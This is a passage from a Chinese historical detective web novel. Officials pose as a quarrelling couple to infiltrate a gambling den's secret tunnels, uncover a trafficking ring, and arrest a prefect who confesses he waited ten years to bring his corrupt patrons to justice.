祁多儿不悦的皱起了眉,许秋水嗤笑一声:“我看我两年纪尚小,不必贪图此乐。你倒是可告假回去一趟,说不定与哪家娘子一见钟情了,也可让师父与金娘子安心。”
楚云照笑道:“我猜你会如此说,我已经回信说了,我最年长觉得不必着急,你两更是如此了。”
秋水倒是越发活泼了,小时候还是乖巧内敛些的。不知是这些日子里太过熟悉了暴露了本性,还是女大十八变,年长了些便如此了。
许秋水继续道:“知道你还来讨这嘴嫌,看来如今太过清闲,不如你明日与我一同去安和堂,也不枉你学了那几年医。”
楚云照心想,今日怎如此笨拙了,竟遭了她两一前一后的嫌弃。
祁多儿见楚云照如此便也笑道:“秋水确实越发伶牙俐齿了。”
许秋水哼了一声,楚云照无奈一笑,而后问道:“你这两日可有空替祁多儿备些防身的迷药。”
许秋水点头道:“那这两日我与徐师父告个假。”
三日后,祁多儿梳妆了一番,身着浅粉套青绿色的衣裳,配上翠色百褶裙,外披一件青色绣花。披风手
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拿一方粉色帕子。梳着一个双蟠髻,鬓两侧配上玉梳与珍珠,脑后倒插上一支珍珠帘梳。带着翡翠流苏耳环。
祁多儿推门而出,楚云照等人皆是惊讶,平日里,祁多儿总是打扮得素雅,不着粉黛。此番打扮几人都有些不太适应。
甄二虎首先出言道:“你这番摸样来唤我回家,我怎能演出那不耐烦得摸样。”
祁多儿故作拭泪之态说道:“家中的妻子貌美,也管不住偷吃的嘴。”
甄二虎啧了一声后,退了几步,心道:“如此厉害的女子,不知今后什么样的绝世俊才才可入她之眼。”
楚云照道:“眉如翠羽,肌如白雪;腰如束素,齿如含贝;嫣然一笑,惑阳城,迷下蔡。今日只是让其引个赌坊中的买卖,属实是屈才了。”
甄二虎行礼道:“那我先去赌坊玩上几局,你们再来与我一聚。”
甄二虎绕行了小路后,先行来到赌坊,仔细观察了一番各个桌上的玩法后,便选了一张摇骰子的桌子在那压大小。因身上只带了一百两银子,不敢放多,怕祁多儿她们还没来,自己就将钱输完了,也不敢压太少就无人在意了。
每次只得五两五两得放,输了五十两银子后,额上有些发汗。一旁的人说道:“第一次来吧,若是无钱了也不用担心,可在这于张坊主借。”
甄二虎心想,反正不是自己的银子,这祁娘子又还不来心中也是着急。便擦了擦汗问道:“你说得可是真,可需要什么抵押?”
甄二虎进去赌坊才不过一刻钟,只是输得多了这才慌了。
那人摇了摇扇子答道:“无需抵押,只需你画押就可,这张坊主可是大好人。”
甄二虎道:“那既然如此,五十两押大。”
赌坊哪里来的好人,不过既然可以借钱,那我便一直玩下去了。这楚云照应是个不差钱的。
“三,三,六,十二点大。”
甄二虎大喜望向那之前说话得那位道:“你说这张坊主,真是大气,刚说可以借钱,这会子就给我送钱了,这十两银子给你。算是蹭了你带来的运气。不知兄弟怎么称呼?”
那人借过银子行礼道:“多谢郎君,在下张小乙。不知郎君如何称呼?”
甄二虎笑着拍了拍他的肩膀,仔细打量了一番,是个身材十分瘦弱又涂了些脂粉的白面郎君:“我叫贾大龙,那张兄弟,你就同我一起,若我赢了,就分你些。”
张小乙笑容谄媚的说道:“那就多谢贾郎君了。”
这压大小胜率是一比一,甄二虎这一把又将本钱赢了回来后,心中有些膨胀。便继续喊道:“五十两,大。”
“三,四,五,十二点大。”
如此两把甄二虎不仅回了本,还挣了四十两,便又给了张小乙五两银子。
张小乙接过笑道:“郎君真是好运气,压大小虽稳,但赔率小了些。不如压压数字。”
甄二虎点头道:“张兄弟说得有理,上把是三三六,这把三四五,我也甚是喜欢三这数字。那我在三军处压三,五十两。点数处压五十两。”
张小乙面色一边,些许慌乱得说道:“郎君虽是运气甚好,也不可如此。这还是太险了些。”
甄二虎摆摆头说道:“不必,我意已决。即使输了,我也怪不得你的。”
原先我是想留些钱等祁娘子她们来,如今遇到你了,一是无所谓银子了,二是说不定你就是这鱼,我还怕些什么。
张小乙叹了一口气道:“郎君既然要如此,那我只可祈愿这骰子能让郎君如意了。”
甄二虎笑道:“你莫慌,看骰子。”
48. 赌坊演戏捉贼人(二)
“三个三,九点,小。”
张小乙不由得惊呼:“郎君真是好眼力。”
如此一把,点数三出现三次,赔率为一比三,赚一百五十两。点数总和处压了九点,赔率一比六,赚三百两,共赚了四百五十两。
甄二虎大笑得将银子揽于面前,抓了一把递给张小乙:“张兄弟,真是好运之人。我也不知这有多少了,你先收了再说。”
张小乙掂量了一番,估计是有五十两左右的银子,乐滋滋的将其收入腰间背包中:“多谢郎君,遇见郎君这才是我今生之好运。”
甄二虎正要继续下注,马昭昭便赶来拉住甄二虎的手:“贾郎君,娘子在外等着你了,你莫要在气了。”
甄二虎哼了一声,抓了两百两银子进入包裹中说道:“不是嫌弃我无用么,叫她莫要烦我,将这银子拿去给她吧,我暂时不想见她。”
来的正好,快些拿走些银子保本。
马昭昭接过银子,满眼震惊,楞了片刻后说道:“贾郎君,你若是不肯与我出去,我不敢回娘子话。你还是同我一起走吧。”
甄二虎怒道:“你不敢回她话,就敢在此叨扰我么?你若再不走,莫怪我不客气。”
甄二虎做势要打马昭昭,马昭昭假装害怕,便跑了出去。
甄二虎收了那怒气,又笑着望向张小乙道:“让张兄弟见笑了,这妇道人家就是不懂事。你看我现在压什么好?”
张小乙见惯了这种场面,面色到也不改得说道:“郎君运气甚好,不如来些大得,试试这赔率最高的围骰,一陪二十四。”
甄二虎道:“这我家那婢女刚来甚是晦气,这把先将这晦气洗洗,就压二十两小吧。”
张小乙点头道:“郎君所言极是。”
“二,五,六,大。”
甄二虎叹气道:“果真是晦气。”
甄二虎正要继续下注之时,只听得一旁惊叹之声。祁多儿拉着甄二虎的袖子道:“夫君,随我回去罢,是我有过,夫君莫要生气了。”
甄二虎回头看祁多儿双眼含泪,心中甚是酸楚,差点就要随着一起走了。甄二虎思索片刻后将衣袖用力一甩,祁多儿吓得退了半步,又落下几滴泪来。
祁多儿擦了下眼角的泪,略带哭腔的唤道:“夫君,回吧。”
甄二虎哼了一声,呵斥马昭昭道:“不是让你与她说我在挣钱吗?你快将她带回去,不然有你的苦头吃。”
祁多儿叹气道:“你若是对我不满,也不必为难她。”
甄二虎将手一甩,指着祁多儿:“你若是不想连累她,就快些回去。”
祁多儿又擦了一番眼泪,叹气道:“我们走吧,让夫君先在此玩个尽兴。”
张小乙绕是在赌坊中,见过的人形形色色,各种场面司空见惯。但如此美艳的女子也是少见,便出声问道:“令夫人如此貌美,你怎忍心出言呵斥。”
甄二虎叹气道:“张兄弟,莫管这些,先看我先下那注好。”
张小乙劝慰道:“郎君已赢下这许多,不如回去好好宽慰一番令夫人,以免生了嫌隙。”
甄二虎脾气略冲得说道:“一百两,压十七点。张兄弟不必担心,妇道人家,总是爱闹些脾气。不必管,我家这位更是,仗着貌美,脾气更是大的吓人,还不如找个脾气好,摸样一般的。”
“五,六,六,十七点大,这位郎君确实运气好。”
压点数总和,四点或十七点,赔率一比五十,这把甄二虎赢了五千两。
甄二虎心中也是诧异,本想下注一个概率小的,再怪罪一番她们前来破坏了自己的运气,怎想到居然中了。
他呆滞的接过庄家递来的五十张一百两的银票。数了数,又看着张小乙道:“这莫不是梦?”
张小乙惊讶的望着庄家,庄家向他摇头了一下。庄家并非故意打出这点数,只是一时看戏去了,一时未注意便成了这事。
张小乙立马贺喜道:“恭喜郎君,郎君今日果真是鸿运当头。”
甄二虎将手中银票拿了五张递予张小乙,哈哈大笑道:“张兄弟,你看是不是这妇道人家就是碍事,她们一走我便有此鸿运了。”
张小乙一时呆楞,只痴痴得答了几句是。
甄二虎又问道:“如此赢下去,也觉得无趣,你说说此地有何别的乐趣?”
张小乙笑道:“郎君稍等些片刻,我去向坊主请示一番。”
一刻钟后过后,张小乙回来向甄二虎说道:“郎君可随我来。”
甄二虎叹气道:“还是张兄弟在时好啊,你这一会不在,我就输了两千两了。”
这赌场里的运气真是难说,差点以为自己即将成了富豪,哪想到一下子就输了两千两。真是让人心痛。
张小乙道:“输赢乃常事,郎君已难得一见的好运之人了。”
甄二虎笑道:“还是张兄弟说话好听,不像我家中那位,让人气恼。”
张小乙道:“我带郎君去见些说话如黄莺鸟一般的人儿。”
张小乙将甄二虎带至一间房后,又为其蒙上眼帘。
甄二虎假装害怕说道:“张兄弟,你莫要害我,钱财我都可以给你。我就是来此散散心的,若是你们坊主不满,这些银两我都可给你。”
张小乙笑道:“郎君说笑了,郎君但请安心,你将手搭在我肩上,随我来就好。”
张小乙带着甄二虎,走走停停又转折好些回,甄二虎感觉能闻见燃油的气味,心想这定是一个密道,又停了这许多回必然是有许多迷眼的假门。
期间甄二虎问张小乙还有多远,张小乙只是回答快要到了,走了一刻钟,甄二虎才到。
张小乙将甄二虎眼帘解开:“灯火刺眼,郎君可慢些睁开眼。”
甄二虎将手遮与眼前,慢慢得将眼睛睁开,眼前景象,让他不仅哇了一声。虽不见窗户,但房间内部灯火通明,整个屋子是个圆形,其中八个方位各有一扇门,头顶不知是一整面铜镜,可清晰看清自己的脸。地上的砖块乃是用黄金镶嵌的花纹。
屋中间有一温泉,其中有几位女子露着肩膀互相梳洗着头发。泉边放置了几张应是胡商带入中原的金顶纱账床,床中好似有人影在动。房间各处还有不少半裸或是全身赤裸的男女,脸带面罩在那或是互相挑逗,或是缠绵悱恻。
房间最外侧还有一圈歌女,身着清凉服饰在那弹奏乐器与唱曲。
张小乙笑道:“郎君可是喜欢热闹一些的地方?还是要去寻僻静一些的地方。”
甄二虎讪讪一笑道:“还是寻个安静地方吧。”
我怕我若是死在此处,楚参军他们怕是今生都难找到。
张小乙带甄二虎走入其中一扇门后,又见一个长廊有数十间房。张小乙推开其中一间房门道:“郎君请进。”
甄二虎随张小乙进入房间后,又上来几个婢女端上茶点。张小乙摆手向她们示意可以带人上来了。
屋中又走进十位女子,叮叮当当但不觉烦心,仔细一看,都身穿红色轻透衣裳,赤着脚,脚上系着铃铛。头发只粗略扎了一双垂髻,未着配饰。
甄二虎摇头,将一张一百两递给张小乙:“太过普通,你将这一百两分于她们罢。”
张小乙接过后,将其给了为首那位女子,便让她们走了。又唤来了新的一批。衣服颜色为黄色,虽也带着铃铛,但并未赤脚。头上配了些简单珠花。
甄二虎仍是摇头,又将一张一百两递给张小乙:“太过普通,你将这一百两也分于她们罢。”
张小乙接过后,也是将其给了为首那位女子,
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又唤来了新的一批。如此反复,甄二虎换了三四拨,都是不满。期间她们的服饰却是越来越多,最后那波已是穿着华美,如一般富贵人家中的娘子了。
张小乙笑问:“郎君因何不满?可有什么喜好?”
甄二虎摇头道:“我无什么喜好,只是这些女子都看着差不多,实在没劲。”
张小乙道:“若不爱女子,我这也有些别的。”
张小乙又唤来十人赤裸着上身,光脚的。体格健硕脸上擦得煞白的美男子。
甄二虎笑了几声,递予张小乙一百两银子说道:“张兄弟实在有心了,可我不是此意。”
张小乙问道:“那你是何意?”
甄二虎叹了一口气说道:“你这有无那种青涩些,但温柔些的女子,让我带位回去煞煞我家夫人的威风?”
张小乙思索一番说道:“你过两日再来赌坊,定有好的给你。”
甄二虎又抽了三张银票给张小乙,拍了下张小乙的胸脯:“你定要记得。”
张小乙接过银两说道:“多谢郎君,郎君是要回去,还是在此逛逛。”
甄二虎道:“这里虽是让人惊叹,但也是无趣,带我在去赌场玩上几把吧。”
甄二虎又被蒙眼带出,又在外输了七百两,心中着急,额头冒汗后:“这好似今日运气用尽了,我明日再来吧。”
张小乙笑道:“郎君既然如此觉得便先回去吧,在下送送郎君。”
张小乙暗示两人跟着甄二虎后,便又回了赌坊。甄二虎,出了赌坊又买了一坛酒与烧鸡。见人还跟着,也不慌。带着他们往家走。
楚知求又卖下了原先临街的宅子,挖了密道。此时祁多儿与马昭昭正在新买的宅子前侯着甄二虎呢。
甄二虎到了新买的宅院,祁多儿走出来要迎他,他呸了一声,又将祁多儿甩开。几人又假装矛盾的吵了几句嘴,最后甄二虎将酒一甩呵斥道:“天色黑了,各自回房睡吧。”
前来跟着甄二虎的人回了赌坊报告了此事,张坊主看向张小乙问道:“今日你与他一同,可看出什么端倪?”
张小乙行礼道:“此人甚是胆小,在密道之时,只因停滞了几次,便向我求饶。要将银子都给我,求我放了他。”
张坊主点头道:“如此看来应是不足为惧。不过凡事还得小心些,再让他赢些钱,看他何时能将他娘子做抵押。”
张坊主又看向一旁老妇说道:“他娘子可接了你的令牌?”
那老妇说道:“虽是十分不愿,但我一路跟随,最后还是将那令牌塞进了她怀里。”
张坊主点头道:“那既然手下了,那便有来的机会。”
人都是些浅薄的东西,钱财权色沾染一样便脱不开身了。
楚云照觉得时间也是差不多了便从密道中来此别院,出来之时正好见了这出戏,小声说道:“各位好演技,今日情况如何。”
甄二虎啧啧感叹了几声,又将今日所见所闻都说了一番。又掏出一千两银子说道:“这银子你我四人分了?”
楚云照惊叹道:“甄二哥好运气,你与马娘子与祁师妹一人一张留作零用,剩下的用做赌资罢。”
祁多儿从怀中拿出一个布袋说道:“这还有两百两呢。”
楚云照笑道:“你三人分了吧,今日到真是收获颇丰。”
祁多儿又掏出一个令牌:“不止如此,我与昭儿从赌坊出来之时,有一人追寻我们而来。与我说家中不和,可去赌坊拿此令牌寻他,可去他们那找个称心的护卫。我开始不要,让昭儿将她拦下,她非是不肯,一路追我们到了家,硬将此塞给了我。”
楚云照望向那令牌笑道:“这赌坊真是经营广泛。明日还要劳烦甄二哥再去赌坊一日,多儿你就在那门口哭上一场便回来。”
49. 赌坊演戏捉贼人(三)
第二日。
甄二虎去赌场内赌钱,祁多儿与马昭昭在赌坊又上演了一番差不多的戏码,祁多儿今日还买了一些糕点让马昭昭送了进去,自己就在外等着。
赌坊内。
甄二虎拿着糕点嗤笑道:“既然能赚钱,她这不就不在乎我干什么了?”
马昭昭答道:“郎君误会了,娘子还在外等郎君回家。”
甄二虎将糕点向食盒一丢:“真是无趣,你与她快些回去吧,我想回去时自是会回去的。”
马昭昭行礼道:“还望郎君记挂娘子。”
甄二虎见马昭昭出去了便向张小乙说道:“她们估计还要来此打扰我们,昨日未看清那地方,不如今日再带我去一次?”
张小乙笑道:“自是可以。郎君是否是对那地已是抓肝挠心了?”
昨日还有些羞耻之心,今日到也不管不顾了。这人长得一副正气禀然的样子,没想到也是长个龌龊心。这倒是挺好,他那美貌娘子也不用受苦太久,迟早要被输到赌坊享福了。
甄二虎揽着张小乙的肩哈哈大笑了几声,便往密道而去了。
赌坊外。
马昭昭大声说了一句:“娘子,我们还要等吗?先回去吧,外头天凉,娘子要当心你的身体。”
祁多儿拿着手绢擦着眼泪,用食指指着右侧:“在等等吧,应该会要出来了。”
马昭昭轻声说道:“还是昨日那老妇?”
祁多儿轻微的点头了一下:“她应是要来了。”
祁多儿此话还未完全落音,就见赌坊右侧一老妇身着艳丽花衣,头上斜插一支红花。手拿一张粉色绣鸳鸯手帕。笑得把下半张脸熨得平整,皱纹都堆在额头。
“这位娘子可是在等自家郎君回家呀?我是前边茶水铺子的老板娘,姓王,你可叫我王婆。”
祁多儿面色不悦看着王婆:“你既是那茶水铺子的老板,怎整日在这赌坊门口,又不去端茶倒水,在这和我扯什么闲篇。”
王婆赔笑道:“娘子勿要发火,我这前头铺子里人来得少,我便来此招揽些客人罢了。你在此处冬日里的风吹得恨,不如去我那茶水铺子喝茶等着也能暖暖身子。”
马昭昭道:“娘子,我们去吃些热茶点心也好。”
祁多儿轻轻敲了下马昭昭的头道:“你这丫头,怎么这么馋嘴。”
马昭昭颇为委屈地说道:“娘子,我这是担心你受凉伤了身子。”
王婆附和说道:“快些去我茶楼吃些热茶吧,我这二楼东侧的窗子都正好可看见这赌场门口。你们见人出来就可以立马来此了。”
祁多儿与王婆推脱一番后,与王婆来到了王家茶馆二楼。王家茶馆在张记赌坊北侧偏东一刻一百余米处。
二楼窗户四面通透,可见市内周围街市全貌。祁多儿与马昭昭落座于北侧的窗户边的位置上。正好可见主街全貌与赌坊正门人员出入情况。
祁多儿心想:“这着实为一个好瞭望塔,可观八方。”
王婆见祁多儿痴痴的望着赌坊门口:“娘子如此痴情,又是何必呢。我看娘子样貌,再寻个好人家容易得很。”
马昭昭怒气充充得看着王婆道:“老婆子,你说话怎如此无礼。”
王婆指着赌坊笑道:“并非无礼,而是非常道理。入那门者不是家破人亡,也是要穷困潦倒的。”
马昭昭啧了一声道:“我家郎君定不是此等荒唐之人,不过这几日闹了些脾气而已,就不劳烦您来操心了。”
王婆为两位倒了茶水后说道:“那既然如此,我就不打扰两位娘子了。”
祁多儿原本想要探查一些消息,却又怕打草惊蛇,如今见王婆已经说得如此明白。心中便想与她探查一番。
祁多儿笑道:“倒是不忙,你请坐,你可说说原先在此看那赌坊的女子有多少人?她们后来都如何了?”
王婆一听此话便滔滔不绝的讲述了起来,多少男子在那赌坊,先是卖房卖地,最后都是卖妻卖子。好好得一个人最后变得不人不鬼。
祁多儿道:“王婆可是做这人牙子的生意?”
王婆将手中手绢一摆,满脸谄媚的笑:“娘子这话可让老身害怕,我不过当个媒婆,为这些女子提前谋个生路。若是对自家郎君一片深情的,都被送去那红香阁了。娘子你也要多思啊。”
祁多儿继续问道:“这红香阁又是何处?”
王婆哈哈笑了几声:“就是那女子极乐之地。”
祁多儿嗤笑一声道:“王婆此番倒是积德了,昭儿,不等了,你付了茶钱我们走吧。”
祁多儿回去后将今日所探听的全数告知与了楚云照,甄二虎至半夜也回了家。
甄二虎道:“今日我细查探了一番赌坊地道,不过是原地转圈。而后根据祁娘子所言,赌坊底下南门尽头的位置恰好是茶馆,北门尽处则是这红香阁楼。”
楚云照与祁多儿根据甄二虎今日打探之情况。描绘了一番赌坊地下与地上对应图。中间区域为赌坊,下为温泉池。
北方区域称茶道为饮茶之地;上为王记茶馆。南方区域为柳道,上位红香阁;西为棋道,为下棋听乐之地,上为轩文棋社;东为酒道,为品酒之地,上为万兴酒楼。
西北方为胡道,为赏胡姬舞曲之地,上为锦绣衣坊;东南方为宝道,为放置珍惜宝物之地,上为三宝楼,乃是此处最为有名的当铺;西南方为气道,内置各式珍惜药材与毒物,上为康安药铺。东北方说为杂道,只说非权贵之人不可进入,不知有何用处。
祁多儿将手指于东北方空出:“杂道,霸王道杂之,我看此处应是霸王道。不必猜此处于哪里,我们将王守住,看他何时入此路,便可擒之。”
这个八个方位既不是正方位,也不是同等距离。这东南西北四个方位的酒楼、青楼、棋社、茶馆皆为高楼立于衢。其余几处则是市集平屋,这东北方的出处应也是如此。
祁多儿心想,这几处位置已经知道了,沿途必有气孔。思索一番后继续说道:“可派几人沿途探查气孔定东北方的位置,再派两人跟踪知府。”
楚云照道
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:“好,就如此。让江华传与江学文选出八位机灵些的,佯装一番,沿路探查气孔。再让两人去跟踪知府。”
祁多儿叹气一声道:“这虽是可查出赌坊之下牵连之处,也可抓住知府把柄。但如何使县令派人将其拿下才是难题。”
楚云照笑道:“此事不难,马县令拿下了你那幅画,将此送给知府,却被知府驱逐出府,心中气恼得很。如此我再去挑拨一番,让县令派人到是不难。”
祁多儿略显惊讶的望向楚云照道:“你昨日去知府处,可有什么发现?”
楚云照长叹了一口气:“他当年也应是如传闻中的廉政爱民之人。”
楚云照昨天早上去往了知府府邸,刚至院门,就见墙内越出好几枝海棠花,门口丫鬟问过他是何人后,便将他带入内院。院中又一月牙湖,中心种一茶花树。湖边还种上了几颗五针松。
湖中水乃是活水,携这落下的海棠向外流去,又正是早间雾气浓时,颇有几分仙气。只是一旁还有好几棵枯树。
楚云照向一旁的丫鬟问道:“府中景色如此有致,定是费了一番心意,怎不把那些枯树移去?”
那丫鬟笑道:“这都是我家郎君亲手种植,前日里也有人问过。郎君答,那并非枯树,不过是此时不在它的季节罢了。”
楚云照点头道:“原是如此。”
丫鬟道:“楚参军可在此稍候,我去再向郎君催促一番。”
郑知府正在房中给自己的夫人画眉,听闻丫鬟来报有人求见。
知府夫人道:“怀义,这几日怎总有人来找你,我心中总是很慌。”
郑怀义将一只花鸟镶珠玉金簪给夫人戴上后,又为其整理了一番:“这支金钗很配你这件红色的衣裳。你不必担心,只是京城传来了些消息,他们急着贺礼罢了。”
知府夫人叹气道:“怀义,你年纪也大了,你又爱这些花花草草,不如我们辞官回乡种地也好。”
郑怀义哈哈大笑道:“这些花草看看就好,他们可填不饱肚子。”
年少时我便随着父母一同种地,那一捆捆的麦子,比我一个人还高。实在是种厌倦了,不愿再种了。
郑怀义将书桌上的信拿给知府夫人道:“我虽年老了,可你还年轻。若真发生你所担心的事了,你可按照信上所说寻人帮助,其他人一概不可信。但事情未发生前,切记不可打开。”
知府夫人接过点头道:“我明白。”
楚云照在院中等了一刻钟后,郑怀义向外走来。楚云照心想这知府如今年纪不过四十又余,怎头发已是半白。他身着一件麻布粗衫,衣着虽是简朴,但头发梳得利落干净,头用发巾束起,不见一丝碎发。
楚云照向知府行礼道:“下官见过知府大人。”
郑怀义挥手笑道:“让楚参军久等了,楚参军真是一表人才,我正在后院摆弄些花草,一时入迷耽误了些时间。”
楚云照道:“大人好雅兴,是下官有所打扰了。”
郑怀义道:“不知楚参军今日来找我是有何事?”
50. 赌坊演戏捉贼人(四)
楚云照道:“本初来此处就要拜见大人,可一来就遇到了一件大案,大案刚结又遇瘟疫。所以一时耽搁未来拜见,今日得空便急忙来了。”
郑怀义道:“你看我这院中这些枯枝,如今天冷就不开了,只在那春夏开花。只做那锦上添花的事,不肯傲视寒霜。”
楚云照道:“我观这应是月季,虽畏寒,但香味甚烈。它虽只在锦绣之时开花,但在锦绣之间也可脱颖而出。今日寒来留独枝,来年再夏香满天。我觉它也不逊梅之君子气节。”
郑怀义笑道:“参军对花草也有所了解?。”
楚云照道:“年少时随舅舅学医,略有涉猎。”
郑怀义点头道:“屋外天寒,与我同去屋中喝些热茶。我欲向参军讨教一些养花之事。”
十日后,酉时,府衙内。
甄二虎向楚云照行礼道:“已打探到明日夜间会有大人物到达赌坊。”
江学文:“各路已安排好人手。”
楚云照点头道:“待知府大人进入赌坊,就准备动手。”
江学文玉甄二虎一同答道:“是。”
江学文领了人马,以赌坊为中心分为七路人马,各守一个出口。马昭昭与一位捕快带一对人马跟踪知府大人。待看他进入商铺就传消息回来,其余人开始就位。甄二虎在赌坊中缠住张坊主借钱,只要他要脱身,就向外传递消息。
亥时
马昭昭与一捕快在郑怀义的府宅屋顶见郑怀义上了马车向南而去,便向南处分叉口的捕快打了一个信号。每隔一个分叉路口则安排两人等候,确认郑怀义的方向后,便将其他方向的撤了。直到见郑怀义进入商铺。
马昭昭继续跟入郑怀义进入商铺后打开暗房进入,便将守门两位打晕绑着后,向外等候的捕快传递消息。马昭昭继续跟随郑怀义向里而去,守在屋外的捕快则急速向江学文传递消息。其余跟踪郑怀义的人则守于暗房口等待命令进入。
见马昭昭处传来消息,郑怀义已出门。甄二虎便动身向张坊主去借钱,他这几日输了不少银子,抵押了房契借了五千两。
张坊主道:“今日这银子,可不能白借。”
甄二虎腰背微曲,谄媚得看着张坊主:“张坊主,只是兄弟这几日手气不好。您行行好,再借一些,待我回本了,我一定双倍,不三倍还钱。”
张坊主把玩着手上的扳指,冷笑一声说道:“我这可不是佛堂,想要银子得拿东西抵扣。我看你家娘子那个容貌就很值钱。”
甄二虎扑通一声跪在地上,求张坊主道:“这不可,求坊主换个别的东西吧,我家娘子绝不会答应的。”
他奶奶的,等会子被抓了,你给老子小心一点。爷这是真实下血本了。
张坊主一脚踢向甄二虎,甄二虎借力向后一倒,张坊主不屑的说道:“你还有什么东西值钱?”
甄二虎继续恳求这张坊主,张坊主踢了他一脚后,见他还是不肯。又让人将甄二虎扶起继续说道:“一个女人罢了,你若是拿她换了银子,后面再赢了钱,还怕没有新的女人吗?”
甄二虎仍是不肯,张坊主本想让人教训他一番。此时一位护卫向张坊主在张坊主身旁耳语了几句。张坊主便让人将甄二虎赶了出去。
张小乙见他如此落魄,便拿出了一百两影子给甄二虎:“郎君,这一百两你拿去与你夫人走吧,莫要再来了。”
甄二虎心下一惊,这又是何计谋,半震惊半疑惑的接过了银子:“多谢张兄弟,来日此情义必报。”
甄二虎向张小乙道了谢后,向外走去,与其他路探子打了招呼。其余六路的各个探子见甄二虎出了赌坊门,便立刻堵住了地道入口。甄二虎等待了平时自己进入赌坊地道所需的时间后便回了赌坊。
一声令下,赌坊中有八名厢军,两名堵着大门,两名堵住暗房门口。还有四名,护于甄二虎身旁。赌坊中有一打手想要越窗出门,被甄二虎左手一护卫发觉,抓起赌桌上的骰盅掷去。只听的碰噹两声,那人便倒于地上。
那名厢军又用手中短剑穿过打手肺部,向上一挑插入心脏:“谁人敢逃,立死。都蹲下”
话语刚停,门口又进入了十来位军士,前有八人手持长枪,有人本想趁乱抢些银子,见来人之多也不敢乱动了。胆子大的也只敢听命跪下,胆子小的晕了或是跪了的不在少数。
后来军士领头者想甄二虎行礼道:“持长枪者随这位好汉前去追击,其余人等与我在此清点人数。”
甄二虎便带领那持长枪的八人向地道跑去,刚下地道又见三扇门。甄二虎带人向中间一扇走去。走过十来步,又有三门。共计三回,都有三门。不过甄二虎已轻车熟路,直接带人道了赌坊中心温泉处。
其他六路虽不如甄二虎熟练,但胜在人多,多人尝试也与甄二虎同步而到。清理了赌坊的打手后。留有了四队人马在此清点,放了一些久负盛名的善人富商后,便将台上被卖的被拐男女,与台下的买家都带回了府衙。
甄二虎带领其他两路人马,与马昭昭的一路人马与杂道相回合,一举拿下了。明州知府,赌坊坊主以及轩文棋社、万兴酒楼、王记茶馆、红香阁各个商铺的管理人。
张坊主见来人丝毫不惧的向甄二虎喝道:“好样的,敢耍老子,我们走着瞧。”
又指向明州知府郑怀义说道:“知道这是谁吗?知道我给你府衙了多少银子吗?”
郑怀义哈哈大笑道:“我知道,府衙不一定知道。”
张坊主满脸震惊的看向郑怀义:“你图什么?你以为你能好过?”
甄二虎将杂道所有人皆带回府衙,又将此事告知给楚云照于祁多儿。
楚云照与祁多儿皆是不解,楚云照看向祁多儿道:“走,去会会。”
几人到了关押郑怀义的牢房中,郑怀义看向楚云照笑道:“你个小小参军怎如此勤奋,我刚被抓就来提审?”
楚云照向郑怀义行礼道:“为国为民,不敢耽搁。”
郑怀义哼了一声道:“你
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有何所问的?”
楚云照道:“听说他们给了府衙许多银子,怎县令等人皆不知道。”
郑怀义笑道:“他们若是知道了,你还能抓住我吗?他们确实给了,不过都被我收下了。”
郑怀义道:“我做走狗十年了,如今累了。不想做了,你要的答案我只能给这一个,其他的我不会说。”
一旁牢房的张坊主怒骂道:“你这个狗娘养的,你敢说嘛?你前一个夫人死得不够吗?这一个夫人你觉得能活过今晚吗?”
郑怀义仍是大笑着,笑到上嘴唇紧紧粘住了上牙,鼻涕眼泪流了整脸:“活不过了,怕她疼,今日若我没有回去,她便会服毒了。”
祁多儿听此惊得向后退了一步,楚云照向甄二虎说道:“你去取快马,将郑夫人救下。”
郑怀义道:“你是状元,你是学士的学生。如今一个参军只不过是给你的历练。迟早是要入京的。我无依无靠,参军几乎是我一生的宿命。但是没关系,我有俸禄,虽是不多,但不必饥寒。也算是有些地位,丈人将娘子许配给我,不求我能大富大贵,只求能有些温饱日子。”
郑怀义指向张坊主,啐了一口:“可你们这种日子都不愿意给我,非要逼我一起同流合污。如今我们一起了,贩卖良籍,也够让我们死了。也算是我给我娘子报仇了。”
张坊主呵斥道:“你别说得你清高,你这些年银子少拿了?如果不是我引荐你,你能走到此位置?”
郑怀义又啐了一口:“我做了我应该做的事,未能得到升迁。攀附你们,丧尽天良,反而可居高位。我有何错?我等了十年,终于等到你们原先提拔的官员都一个个走尽,我即将要被送上中心,终于让我逮到机会将你们绳之以法,以我一命换你们这几人,我值了。”
张坊主被气得脸色发青,只恶狠狠地说道:“你真是个疯子。”
郑怀义哈哈大笑道:“青兰,如兰。我替你们报仇了,怨我也好,恨我也罢,待我下去,只求你们能见我。”
楚云照道:“将郑大人送入内牢看管,不要与他人接触。”
郑怀义一边笑一边哭得抵抗:“我不去,我就要看着他们,与他们一同死。”
四五个衙役才将郑怀义拖入内牢。
郑怀义用力拍打着牢房门,见实在无人来,便又看着牢房上窄小又细长的窗呢喃着什么。
好像是思念年少时候的发妻的名字,又或者是思念这位因与发妻容貌有七分相似而被送来赔礼的现在的夫人。
他们三都命不由己,但又都是因为他才都惨死。想他十八岁得丈人看中,与青兰结为夫妻,二十五岁入仕,三十岁因他不肯配合建立这赌坊做这拐卖的勾当。导致自己发妻惨死。如今四十岁,又让一无辜女子在家服毒。
郑怀义一夜未眠,双眼紧紧盯着牢房上的窗户,直到早上楚云照来见他,他才移了眼睛。
楚云照向郑怀义行礼道:“夫人昨日已服下了毒药,但我们去时,还未完全殒命。”
51. 赌坊演戏捉贼人(终)
郑怀义面容枯槁,仿佛被吸取了精气似的,听见楚云照这声呼喊。一时回了神,啊了几声未说出话,只是叹了一气。
楚云照继续说道:“我师妹昨日赶去,本打算救治她。她直接拒绝了,她说有一句话要带与你,你可要听?”
郑怀义靠墙坐在地上,嘴唇微张,眼神呆滞地抬头看着楚云照点了下头。
楚云照盘腿坐于地上,双手放于膝上,平视郑怀义道:“她说信已烧了,银票也烧了。她无怨无惧亦无悔,你下去了一定要来找她。”
郑怀义眼泪鼻涕流了一脸,哭过后,用袖子将脸擦干净后说道:“求你好好将她安葬。”
楚云照点头道:“此事我可答应你。”
郑怀义继续说道:“但你所求的,我不会应许。仅仅此地的他们拐卖良籍以及一系列的罪孽我都已为你备好了,这足够为你的政绩添上一笔了。其余深的,不必拿出,一来只会耽误对他们的处决,二来也不是你如今就可以踏足的地方。”
楚云照摇头道:“不踏足如何会知其深浅呢?”
郑怀义起身将自己身上的灰尘拍净,用手指向牢房中的窗户:“窗就在眼前,可光离太阳无影处却有八万里。”
说罢便背朝楚云照,一声也不答。
祁多儿与马昭昭在牢门外等着楚云照,马昭昭手提一个红木雕花食盒,满脸愁容,见楚云照还未出来,心中焦急。
